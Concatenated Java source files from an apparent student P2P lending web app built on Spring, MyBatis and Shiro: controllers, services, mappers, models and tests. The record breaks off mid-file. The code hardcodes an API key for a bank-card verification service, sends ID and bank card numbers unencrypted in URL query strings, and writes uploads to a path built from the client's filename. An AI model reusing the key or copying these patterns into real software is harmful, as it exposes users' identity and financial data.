import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.List;
@Controller
@RequestMapping("/diction")
public class DictionaryController {
@Autowired
private IDictionaryService dictionaryService;
// private PageBean pageBean;
@ModelAttribute
public void init(){
System.out.println("init");
}
@RequestMapping("/load")
@ResponseBody
public Object load(Dictionary dictionary,PageBean pageBean){
System.out.println(pageBean);
// PageBean pageBean=new PageBean();
List<Dictionary> dictionaries = dictionaryService.DictionaryList(dictionary,pageBean);
return jsonData.toJsonPager("",true,pageBean.getTotal(),dictionaries);
}
@RequestMapping("/TypeList")
@ResponseBody
public Object TypeList(){
List<Object> dictionaries = dictionaryService.TypeList();
return jsonData.toJsonObject(true,dictionaries);
}
@RequestMapping("/add")
@ResponseBody
public Object add(Dictionary dictionary){
dictionary.setId(uuidUtil.getUUID());
int n = dictionaryService.insert(dictionary);
return jsonData.toJsonObject(true,n);
// return null;
}
@RequestMapping("/update")
@ResponseBody
public Object update(Dictionary dictionary){
int n = dictionaryService.updateByPrimaryKeySelective(dictionary);
return jsonData.toJsonObject(true,n);
}
@RequestMapping("/delete")
@ResponseBody
public Object delete(Dictionary dictionary){
int n = dictionaryService.deleteByPrimaryKey(dictionary);
return jsonData.toJsonObject(true,n);
}
}
```
SystemMessageServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.SystemMessageMapper;
import com.zking.ssm.model.SystemMessage;
import com.zking.ssm.services.ISystemMessageService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class SystemMessageServiceImpl implements ISystemMessageService {
@Autowired
private SystemMessageMapper messageMapper;
@Override
public int deleteByPrimaryKey(String id) {
return messageMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(SystemMessage record) {
return messageMapper.insert(record);
}
@Override
public int insertSelective(SystemMessage record) {
return messageMapper.insertSelective(record);
}
@Override
public List<SystemMessage> selectByPrimaryKey(String uid) {
return messageMapper.selectByPrimaryKey(uid);
}
@Override
public int updateByPrimaryKeySelective(SystemMessage record) {
return messageMapper.updateByPrimaryKeySelective(record);
}
@Override
public int updateByPrimaryKey(SystemMessage record) {
return messageMapper.updateByPrimaryKey(record);
}
}
```
IdentityAuditMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.IdentityAudit;
import java.util.List;
public interface IdentityAuditMapper {
int deleteByPrimaryKey(String id);
int insert(IdentityAudit record);
int insertSelective(IdentityAudit record);
IdentityAudit selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(IdentityAudit record);
int updateByPrimaryKey(IdentityAudit record);
List<IdentityAudit> listIdentity(IdentityAudit audit);
}```
platFormBankInfoMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.platFormBankInfo;
import java.util.List;
public interface platFormBankInfoMapper {
int deleteByPrimaryKey(String id);
int insert(platFormBankInfo record);
int insertSelective(platFormBankInfo record);
List<platFormBankInfo> selectByPrimaryKey(platFormBankInfo bankInfo);
int updateByPrimaryKeySelective(platFormBankInfo record);
int updateByPrimaryKey(platFormBankInfo record);
}```
SystemMessageMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.SystemMessage;
import java.util.List;
public interface SystemMessageMapper {
//删除个人系统信息
int deleteByPrimaryKey(String id);
//添加系统信息
int insert(SystemMessage record);
//智能添加
int insertSelective(SystemMessage record);
//查询个人用户获取的系统信息
List<SystemMessage> selectByPrimaryKey(String uid);
int updateByPrimaryKeySelective(SystemMessage record);
int updateByPrimaryKey(SystemMessage record);
}```
Bidding.java
```package com.zking.ssm.model;
import lombok.ToString;
@ToString
public class Bidding {
private String id;
private String uid;
private Integer state;
//借款对象表
private Borrowmoney borrowmoney;
//用户表
private sysUser sysUser;
public sysUser getSysUser(){
return sysUser;
}
public void setSysUser(sysUser sysUser) {
this.sysUser = sysUser;
}
public Borrowmoney getBorrowmoney() {
return borrowmoney;
}
public void setBorrowmoney(Borrowmoney borrowmoney) {
this.borrowmoney = borrowmoney;
}
public Bidding(String id, String uid, Integer state) {
this.id = id;
this.uid = uid;
this.state = state;
}
public Bidding() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public Integer getState() {
return state;
}
public void setState(Integer state) {
this.state = state;
}
}```
IDictionaryService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Dictionary;
import com.zking.ssm.util.PageBean;
import java.util.List;
public interface IDictionaryService {
//删除
int deleteByPrimaryKey(Dictionary dictionary);
//增加
int insert(Dictionary record);
//查单个
Dictionary selectByPrimaryKey(Dictionary dictionary);
//修改
int updateByPrimaryKeySelective(Dictionary record);
//查全部
List<Dictionary> DictionaryList(Dictionary dictionary, PageBean pageBean);
//类型查询
List<Object> TypeList();
List<Dictionary> hdList(Dictionary dictionary);
}
```
IProductService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Product;
import com.zking.ssm.util.PageBean;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
public interface IProductService {
List<Product> getListProduct(Product product, PageBean pageBean);
int addProduct(Product product);
int delProduct(Product product);
int updateProduct(Product product);
Product getProduct(Product product);
}```
sysUserMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.sysUser;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface sysUserMapper {
int doRegister(sysUser user);
int updateUser(sysUser user);
sysUser getUser(sysUser user);
List<sysUser> getListUser(sysUser user);
}```
ProductServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.ProductMapper;
import com.zking.ssm.model.Product;
import com.zking.ssm.services.IProductService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class ProductServiceImpl implements IProductService {
@Autowired
private ProductMapper productMapper;
@Override
public List<Product> getListProduct(Product product, PageBean pageBean) {
return productMapper.getListProduct(product);
}
@Override
public int addProduct(Product product) {
return productMapper.addProduct(product);
}
@Override
public int delProduct(Product product) {
return productMapper.delProduct(product);
}
@Override
public int updateProduct(Product product) {
return productMapper.updateProduct(product);
}
@Override
public Product getProduct(Product product) {
return productMapper.getProduct(product);
}
}
```
ModuleController.java
```package com.zking.ssm.controller.back;
import com.zking.ssm.model.Module;
import com.zking.ssm.services.IModuleService;
import com.zking.ssm.util.jsonData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.List;
@Controller
@RequestMapping("/module")
public class ModuleController {
@Autowired
private IModuleService moduleService;
@RequestMapping("getModule")
@ResponseBody
public Object getModule(){
System.out.println("111111111111111");
List<Module> modules = moduleService.listModuleByUserId(null);
for (Module module : modules) {
module.setChildren(moduleService.listModuleById(module.getId()));
}
return jsonData.toJsonObject(true,modules);
}
}
```
CorporateDepostitServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.CorporateDepositMapper;
import com.zking.ssm.model.CorporateDeposit;
import com.zking.ssm.services.ICorporateDepostitService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class CorporateDepostitServiceImpl implements ICorporateDepostitService {
@Autowired
private CorporateDepositMapper depositMapper;
@Override
public int deleteByPrimaryKey(String id) {
return depositMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(CorporateDeposit record) {
return depositMapper.insert(record);
}
@Override
public CorporateDeposit selectByPrimaryKey(String id) {
return depositMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(CorporateDeposit record) {
return depositMapper.updateByPrimaryKeySelective(record);
}
@Override
public List<CorporateDeposit> ListDeposit(CorporateDeposit corporateDeposit) {
return depositMapper.ListDeposit(corporateDeposit);
}
@Override
public int Update(CorporateDeposit corporateDeposit) {
return depositMapper.Update(corporateDeposit);
}
}
```
ProductMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.Product;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
@Transactional
public interface ProductMapper {
List<Product> getListProduct(Product product);
int addProduct(Product product);
int delProduct(Product product);
int updateProduct(Product product);
Product getProduct(Product product);
}```
CorporateDepositMapper.java
```package com.zking.ssm.mapper;
import com.zking.ssm.model.CorporateDeposit;
import java.util.List;
public interface CorporateDepositMapper {
int deleteByPrimaryKey(String id);
int insert(CorporateDeposit record);
CorporateDeposit selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(CorporateDeposit record);
List<CorporateDeposit> ListDeposit(CorporateDeposit corporateDeposit);
//审核通过减钱
int Update(CorporateDeposit corporateDeposit);
}```
PowerController.java
```package com.zking.ssm.controller.back.power;
import com.zking.ssm.model.SysPower;
import com.zking.ssm.services.ISysPowerService;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.PinYinUtil;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@Controller
@RequestMapping("/Power")
public class PowerController {
@Autowired
private ISysPowerService sysPowerService;
@RequestMapping("/doRegister")
@ResponseBody
public Object addPower(SysPower sysPower) throws Exception{
//ID
sysPower.setPid(uuidUtil.getUUID());
//时间
Date date=new Date(); //获取一个Date对象
SimpleDateFormat simpleDateFormat= new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); //创建一个格式化日期对象
String time = simpleDateFormat.format(date); //格式化后的时间
Date times=simpleDateFormat.parse(time);
sysPower.setCreatedate(times);
sysPowerService.doRegister(sysPower);
return jsonData.toJsonObject(true,"操作员信息增加成功");
}
@RequestMapping("/doLogin")
@ResponseBody
public Object doLogin(SysPower sysPower){
// System.out.println(sysPower.getPname()+"================"+sysPower.getPassword());
SysPower power = sysPowerService.doLogin(sysPower);
if(power!=null){
return jsonData.toJsonObject(true,"登录成功");
}else {
return jsonData.toJsonObject(false,"登录失败");
}
}
@RequestMapping("/updateByPrimaryKeySelective")
@ResponseBody
public Object updateByPrimaryKeySelective(SysPower sysPower){
System.out.println("updateByPrimaryKeySelective");
int i = sysPowerService.updateByPrimaryKeySelective(sysPower);
if(i>0){
return jsonData.toJsonObject(true,"修改成功");
}else {
return jsonData.toJsonObject(false,"修改失败");
}
}
@RequestMapping("/deleteByPrimaryKey")
@ResponseBody
public Object deleteByPrimaryKey(SysPower sysPower){
System.out.println("deleteByPrimaryKey");
int Power = sysPowerService.deleteByPrimaryKey(sysPower);
return jsonData.toJsonObject(true,"删除成功");
}
@RequestMapping("/list")
@ResponseBody
public Object list(SysPower sysPower,PageBean pageBean){
System.out.println("list");
List<SysPower> list = sysPowerService.list(sysPower, pageBean);
return jsonData.toJsonPager("查询成功",true,pageBean.getTotal(),list);
}
@RequestMapping("/selectByPrimaryKey")
@ResponseBody
public Object selectByPrimaryKey(SysPower sysPower){
System.out.println("selectByPrimaryKey");
SysPower power = sysPowerService.selectByPrimaryKey(sysPower.getPid());
return jsonData.toJsonObject(true,power);
}
}
```
ICorporateDepostitServiceTest.java
```package com.zking.ssm.services;
import com.zking.ssm.model.CorporateDeposit;
import com.zking.ssm.services.impl.BaseTestCase;
import com.zking.ssm.util.uuidUtil;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import java.math.BigDecimal;
import java.util.List;
import static org.junit.Assert.*;
public class ICorporateDepostitServiceTest extends BaseTestCase{
@Autowired
private ICorporateDepostitService depostitService;
private CorporateDeposit deposit;
@Before
public void setUp() throws Exception {
deposit=new CorporateDeposit();
}
@Test
public void deleteByPrimaryKey() {
}
@Test
public void insert() {
deposit.setId(uuidUtil.getUUID());
deposit.setPid("1");
deposit.setCapital(new BigDecimal(22));
deposit.setGetmoney(new BigDecimal(30));
depostitService.insert(deposit);
}
@Test
public void selectByPrimaryKey() {
deposit.setId("a4919d6db37445a0953a733b1c1c4499");
System.out.println( depostitService.selectByPrimaryKey(deposit.getId()));
}
@Test
public void updateByPrimaryKeySelective() {
deposit.setId("a4919d6db37445a0953a733b1c1c4499");
deposit.setGetmoney(new BigDecimal(0.5));
depostitService.updateByPrimaryKeySelective(deposit);
}
@Test
public void listDeposit() {
deposit.setId("a4919d6db37445a0953a733b1c1c4499");
deposit.setRangelimit(600);
depostitService.Update(deposit);
}
}```
SysPowerRoleServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.SysPowerRoleMapper;
import com.zking.ssm.model.SysPowerRole;
import com.zking.ssm.services.ISysPowerRoleService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class SysPowerRoleServiceImpl implements ISysPowerRoleService {
@Autowired
private SysPowerRoleMapper sysPowerRoleMapper;
@Override
public SysPowerRole selectSysPowerRoleByRoleId(SysPowerRole sysPowerRole) {
return sysPowerRoleMapper.selectSysPowerRoleByRoleId(sysPowerRole);
}
@Override
public int insert(SysPowerRole record) {
return 0;
}
@Override
public int insertSelective(SysPowerRole record) {
return 0;
}
}
```
DictionaryServiceTest.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Dictionary;
import com.zking.ssm.services.impl.BaseTestCase;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.uuidUtil;
import org.junit.Before;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.ArrayList;
import java.util.List;
import static org.junit.Assert.*;
public class DictionaryServiceTest extends BaseTestCase{
@Autowired
private IDictionaryService dictionaryService;
private Dictionary dictionary;
private PageBean pageBean;
private uuidUtil uid;
@Before
public void setUp() throws Exception {
dictionary=new Dictionary();
pageBean=new PageBean();
uid=new uuidUtil();
}
@Test
public void deleteByPrimaryKey() {
dictionary.setId("26");
dictionaryService.deleteByPrimaryKey(dictionary);
}
@Test
public void insert() {
// dictionary.setId(20);
dictionary.setId(uuidUtil.getUUID());
dictionary.setDicttype("用户平台管理");
dictionary.setDictitem("已锁定");
dictionary.setDictvalue("1");
dictionary.setDictiseditable(0);//不可编辑
dictionaryService.insert(dictionary);
}
@Test
public void selectByPrimaryKey() {
dictionary.setId("25");
Dictionary dictionary = dictionaryService.selectByPrimaryKey(this.dictionary);
System.out.println(dictionary);
}
@Test
public void updateByPrimaryKeySelective() {
dictionary.setId("25");
dictionary.setDicttype("用户平台");
dictionaryService.updateByPrimaryKeySelective(dictionary);
}
@Test
public void dictionaryList() {
// dictionary.setDicttype("用户");
List<Dictionary> dictionaries = dictionaryService.DictionaryList(dictionary,pageBean);
System.out.println(pageBean.getTotal());
for (Dictionary d:dictionaries) {
System.out.println(d);
}
}
@Test
public void TYpeList() {
List<Object> list = dictionaryService.TypeList();
for (Object d:list) {
System.out.println(d);
}
}
}```
platFormBankController.java
```package com.zking.ssm.controller.front.bank;
import com.zking.ssm.model.platFormBankInfo;
import com.zking.ssm.services.IplatFormBankInfoService;
import com.zking.ssm.util.ThreeIdentity;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
@Controller
@RequestMapping("/bankInfo")
public class platFormBankController {
@Autowired
private IplatFormBankInfoService bankInfoService;
@RequestMapping("/addBankInfo")
@ResponseBody
public Object addBankInfo(platFormBankInfo bankInfo) throws Exception{
bankInfo.setId(uuidUtil.getUUID());
System.out.println(bankInfo);
String url = "http://bankcard3c.shumaidata.com/bankcard3c";
String appCode = "545f91cd0fbd4fa48692740d8d5121f4";
Map<String, String> params = new HashMap<>();
params.put("idcard", bankInfo.getIdentity());
params.put("name", bankInfo.getAccountname());
params.put("bankcard", bankInfo.getIdcard());
for(String key:params.keySet()){
String value = params.get(key).toString();//
System.out.println("key:"+key+" vlaue:"+value);
}
String result = ThreeIdentity.get(appCode,url,params).toString();
//假设,400是正确的,因为200要扣我钱
if(result.equals("200")){
//说明三要素认证成功
System.out.println(bankInfo);
int i = bankInfoService.insertSelective(bankInfo);
if(i>0){
return jsonData.toJsonMessage("银行卡绑定成功",true);
}else{
return jsonData.toJsonMessage("",false);
}
}else{
return jsonData.toJsonMessage("",false);
}
// System.out.println(result);
}
@RequestMapping("/loadBankInfo")
@ResponseBody
public Object loadBankInfo(platFormBankInfo bankInfo){
System.out.println(bankInfo);
List<platFormBankInfo> platFormBankInfos = bankInfoService.selectByPrimaryKey(bankInfo);
return jsonData.toJsonObject(true,platFormBankInfos);
// return "aaaa";
}
}
```
LoanServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.LoanMapper;
import com.zking.ssm.model.Loan;
import com.zking.ssm.services.ILoanService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class LoanServiceImpl implements ILoanService {
@Autowired
private LoanMapper loanMapper;
@Override
public int deleteByPrimaryKey(String id) {
return loanMapper.deleteByPrimaryKey(id);
}
@Override
public int insert(Loan record) {
return loanMapper.insert(record);
}
@Override
public Loan selectByPrimaryKey(String id) {
return loanMapper.selectByPrimaryKey(id);
}
@Override
public int updateByPrimaryKeySelective(Loan record) {
return loanMapper.updateByPrimaryKeySelective(record);
}
@Override
public List<Loan> ListLoan(Loan loan, PageBean pageBean) {
return loanMapper.ListLoan(loan);
}
@Override
public int Update(Loan loan) {
return loanMapper.Update(loan);
}
@Override
public int Updatecg(Loan loan) {
return loanMapper.Updatecg(loan);
}
}
```
IUserAccountService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.UserAccount;
import org.springframework.transaction.annotation.Transactional;
@Transactional
public interface IUserAccountService {
int deleteByPrimaryKey(String id);
int insert(UserAccount record);
int insertSelective(UserAccount record);
UserAccount selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(UserAccount record);
int updateByPrimaryKey(UserAccount record);
}```
BiddingServiceImpl.java
```package com.zking.ssm.services.impl;
import com.zking.ssm.mapper.BiddingMapper;
import com.zking.ssm.model.Bidding;
import com.zking.ssm.services.IBiddingService;
import com.zking.ssm.util.PageBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import java.util.List;
@Service
public class BiddingServiceImpl implements IBiddingService {
@Autowired
private BiddingMapper biddingMapper;
@Override
public List<Bidding> BiddingList(Bidding bidding, PageBean pageBean) {
return biddingMapper.BiddingList(bidding);
}
@Override
public int Update(Bidding bidding) {
return biddingMapper.Update(bidding);
}
@Override
public int Updatecg(Bidding bidding) {
return biddingMapper.Updatecg(bidding);
}
}
```
ISysUserService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.util.PageBean;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
public interface ISysUserService {
int doRegister(sysUser user);
int updateUser(sysUser user);
sysUser getUser(sysUser user);
List<sysUser> getListUser(sysUser user, PageBean pageBean);
}```
IModuleService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Module;
import java.util.List;
public interface IModuleService {
//根据用户角色查询出对应的模块权限
List<Module> listModuleByUserId(String userId);
//根据模块权限查询出功能权限
List<Module> listModuleById(int id);
}```
ThreeIdentity.java
```package com.zking.ssm.util;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;
import java.io.IOException;
import java.util.Iterator;
import java.util.Map;
public class ThreeIdentity {
public static Object get(String appCode, String url, Map<String, String> params) throws IOException {
url = url + buildRequestUrl(params);
OkHttpClient client = new OkHttpClient.Builder().build();
Request request = new Request.Builder().url(url).addHeader("Authorization", "APPCODE " + appCode).build();
Response response = client.newCall(request).execute();
System.out.println("返回状态码" + response.code() + ",message:" + response.message());
String result = response.body().toString();
return response.code();
}
public static String buildRequestUrl(Map<String, String> params) {
StringBuilder url = new StringBuilder("?");
Iterator<String> it = params.keySet().iterator();
while (it.hasNext()) {
String key = it.next();
url.append(key).append("=").append(params.get(key)).append("&");
}
return url.toString().substring(0, url.length() - 1);
}
}
```
userAccountController.java
```package com.zking.ssm.controller.front.user;
import com.zking.ssm.model.UserAccount;
import com.zking.ssm.services.IUserAccountService;
import com.zking.ssm.util.jsonData;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
@Controller
@RequestMapping("/userAccount")
public class userAccountController {
@Autowired
private IUserAccountService userAccountService;
private UserAccount userAccount;
@ModelAttribute
public void init(){
}
@RequestMapping("/getUserAccount")
@ResponseBody
public Object getUserAccount(String uid){
UserAccount userAccount = userAccountService.selectByPrimaryKey(uid);
if(userAccount!=null){
return jsonData.toJsonObject(true,userAccount);
}else{
return jsonData.toJsonMessage("查无此人",false);
}
}
@RequestMapping("/getUploadImg")
@ResponseBody
public Object getUploadImg(UserAccount userAccount, HttpServletRequest request,HttpServletResponse response){
System.out.println("获取文件上传的路径");
// //将相对路径转化为绝对路径
String realPath="D:\\T228\\HBulide数据\\Vue\\p2p_project\\src\\assets\\uploads\\"+userAccount.getImgName().getOriginalFilename();
try {
//上传
userAccount.getImgName().transferTo(new File(realPath));
userAccount.setPhoto(userAccount.getImgName().getOriginalFilename());
System.out.println(userAccount);
int i = userAccountService.updateByPrimaryKeySelective(userAccount);
if(i>0){
response.sendRedirect("http://localhost:8083/#/AccountOverview");
return jsonData.toJsonMessage("头像修改成功",true);
}else {
return jsonData.toJsonMessage("文件上传成功", true);
}
}catch (Exception e){
return jsonData.toJsonMessage("头像修改失败",false);
}
}
@RequestMapping("/updateAccount")
@ResponseBody
public Object updateAccount(UserAccount userAccount){
int i = userAccountService.updateByPrimaryKeySelective(userAccount);
if(i>0){
return jsonData.toJsonMessage("ok",true);
}else{
return jsonData.toJsonMessage("no",false);
}
}
}
```
ProductController.java
```package com.zking.ssm.controller.back.finance;
import com.zking.ssm.model.Product;
import com.zking.ssm.services.IProductService;
import com.zking.ssm.util.PageBean;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.ModelAttribute;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.List;
@Controller
@RequestMapping("/product")
public class ProductController {
@Autowired
private IProductService productService;
private PageBean pageBean;
@ModelAttribute
public void init(){
pageBean=new PageBean();
}
@RequestMapping("/getListProduct")
@ResponseBody
public Object getListProduct(Product product){
System.out.println(product);
List<Product> listProduct = productService.getListProduct(product,pageBean);
System.out.println(pageBean);
return jsonData.toJsonPager("",true,pageBean.getTotal(),listProduct);
}
@RequestMapping("/addProduct")
@ResponseBody
public Object addProduct(Product product){
product.setId(uuidUtil.getUUID());
System.out.println(product);
int i = productService.addProduct(product);
if(i>0){
return jsonData.toJsonMessage("新增成功",true);
}else{
return jsonData.toJsonMessage("新增失败",false);
}
}
@RequestMapping("/updateProduct")
@ResponseBody
public Object updateProduct(Product product){
int i = productService.updateProduct(product);
if(i>0){
return jsonData.toJsonMessage("修改成功",true);
}else{
return jsonData.toJsonMessage("修改失败",false);
}
}
@RequestMapping("/delProduct")
@ResponseBody
public Object delProduct(Product product){
int i = productService.delProduct(product);
if(i>0){
return jsonData.toJsonMessage("删除成功",true);
}else{
return jsonData.toJsonMessage("删除失败",false);
}
}
}
```
sysUserController.java
```package com.zking.ssm.controller.front.user;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.ISysUserService;
import com.zking.ssm.util.jsonData;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.IncorrectCredentialsException;
import org.apache.shiro.authc.UnknownAccountException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
@RequestMapping("/sysUser")
public class sysUserController {
@Autowired
private ISysUserService userService;
// @RequestMapping("/userLogin")
// @ResponseBody
// public Object userLogin(sysUser user){
// sysUser users = userService.getUser(user);
// if(null==user){
// return jsonData.toJsonMessage("",false);
// }else{
// return jsonData.toJsonObject(true,users);
// }
//
// }
@RequestMapping("/userLogin")
@ResponseBody
public Object userLogin(sysUser user){
String userName=user.getUname();
String password=user.getPassword();
//获取主体
Subject subject=SecurityUtils.getSubject();
//创建用户和密码的令牌
UsernamePasswordToken token=new UsernamePasswordToken(userName,password);
//获取错误信息
String message=null;
try {
subject.login(token);
} catch (IncorrectCredentialsException e) {
message = "密码错误";
// e.printStackTrace();
} catch (UnknownAccountException e) {
message = "账户错误";
// e.printStackTrace();
} catch (Exception e) {
message = "其他错误";
// e.printStackTrace();
}
if(null==message){
//代表登录成功
sysUser users = userService.getUser(user);
return jsonData.toJsonObject(true,users);
}else{
return jsonData.toJsonMessage(message,false);
}
}
// 身份验证失败
@RequestMapping("/loser")
public Object loser(){
System.out.println("身份验证失败");
return null;
}
// 身份验证成功
@RequestMapping("/success")
public Object success(){
System.out.println("身份验证成功");
return null;
}
}
```
userIdentity.java
```package com.zking.ssm.model;
import lombok.ToString;
@ToString
public class userIdentity {
private String id;
private String uid;
private String phone;
private String email;
private String identity;
private Integer pay;
public userIdentity(String id, String uid, String phone, String email, String identity, Integer pay) {
this.id = id;
this.uid = uid;
this.phone = phone;
this.email = email;
this.identity = identity;
this.pay = pay;
}
public userIdentity() {
super();
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getUid() {
return uid;
}
public void setUid(String uid) {
this.uid = uid;
}
public String getPhone() {
return phone;
}
public void setPhone(String phone) {
this.phone = phone;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getIdentity() {
return identity;
}
public void setIdentity(String identity) {
this.identity = identity;
}
public Integer getPay() {
return pay;
}
public void setPay(Integer pay) {
this.pay = pay;
}
}```
systemMessageController.java
```package com.zking.ssm.controller.front.message;
import com.zking.ssm.model.SystemMessage;
import com.zking.ssm.services.ISystemMessageService;
import com.zking.ssm.util.jsonData;
import com.zking.ssm.util.uuidUtil;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import java.util.List;
@Controller
@RequestMapping("/systemMessage")
public class systemMessageController {
@Autowired
private ISystemMessageService messageService;
@RequestMapping("/getMessageByUser")
@ResponseBody
public Object getMessageByUser(SystemMessage message) {
System.out.println(message);
List<SystemMessage> systemMessages = messageService.selectByPrimaryKey(message.getUid());
if (systemMessages != null) {
return jsonData.toJsonPager("",true,systemMessages.size(),systemMessages);
} else {
return jsonData.toJsonMessage("",false);
}
}
@RequestMapping("/addMessageByUser")
@ResponseBody
public Object addMessageByUser(SystemMessage systemMessage){
System.out.println(systemMessage);
systemMessage.setId(uuidUtil.getUUID());
int i = messageService.insertSelective(systemMessage);
if(i>0){
return jsonData.toJsonMessage("信息反馈成功",true);
}else{
return jsonData.toJsonMessage("信息反馈失败",false);
}
}
//删除系统信息
@RequestMapping("/delSystemMessage")
@ResponseBody
public Object delMessage(String id){
int i = messageService.deleteByPrimaryKey(id);
if(i>0){
return jsonData.toJsonMessage("ok",true);
}else{
return jsonData.toJsonMessage("no",false);
}
}
}
```
IBiddingService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.Bidding;
import com.zking.ssm.util.PageBean;
import java.util.List;
public interface IBiddingService {
//查询
List<Bidding> BiddingList(Bidding bidding, PageBean pageBean);
//审核失败
int Update(Bidding bidding);
//审核成功
int Updatecg(Bidding bidding);
}
```
ICorporateDepostitService.java
```package com.zking.ssm.services;
import com.zking.ssm.model.CorporateDeposit;
import java.util.List;
public interface ICorporateDepostitService {
int deleteByPrimaryKey(String id);
int insert(CorporateDeposit record);
CorporateDeposit selectByPrimaryKey(String id);
int updateByPrimaryKeySelective(CorporateDeposit record);
List<CorporateDeposit> ListDeposit(CorporateDeposit corporateDeposit);
//减钱
int Update(CorporateDeposit corporateDeposit);
}
```
ShiroRealm.java
```package com.zking.ssm.shiro;
import com.zking.ssm.model.sysUser;
import com.zking.ssm.services.ISysUserService;
import org.apache.shiro.authc.*;
import org.apache.shiro.authz.AuthorizationInfo;
import org.apache.shiro.authz.SimpleAuthorizationInfo;
import org.apache.shiro.realm.AuthorizingRealm;
import org.apache.shiro.subject.PrincipalCollection;
import org.apache.shiro.util.ByteSource;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.Set;
//extends AuthorizingRealm
public class ShiroRealm extends AuthorizingRealm {
@Autowired
private ISysUserService sysUserService;
//授权
@Override
protected AuthorizationInfo doGetAuthorizationInfo(PrincipalCollection principalCollection) {
//获取token中的
System.out.println("获取token中的");
return null;
}
//认证
@Override
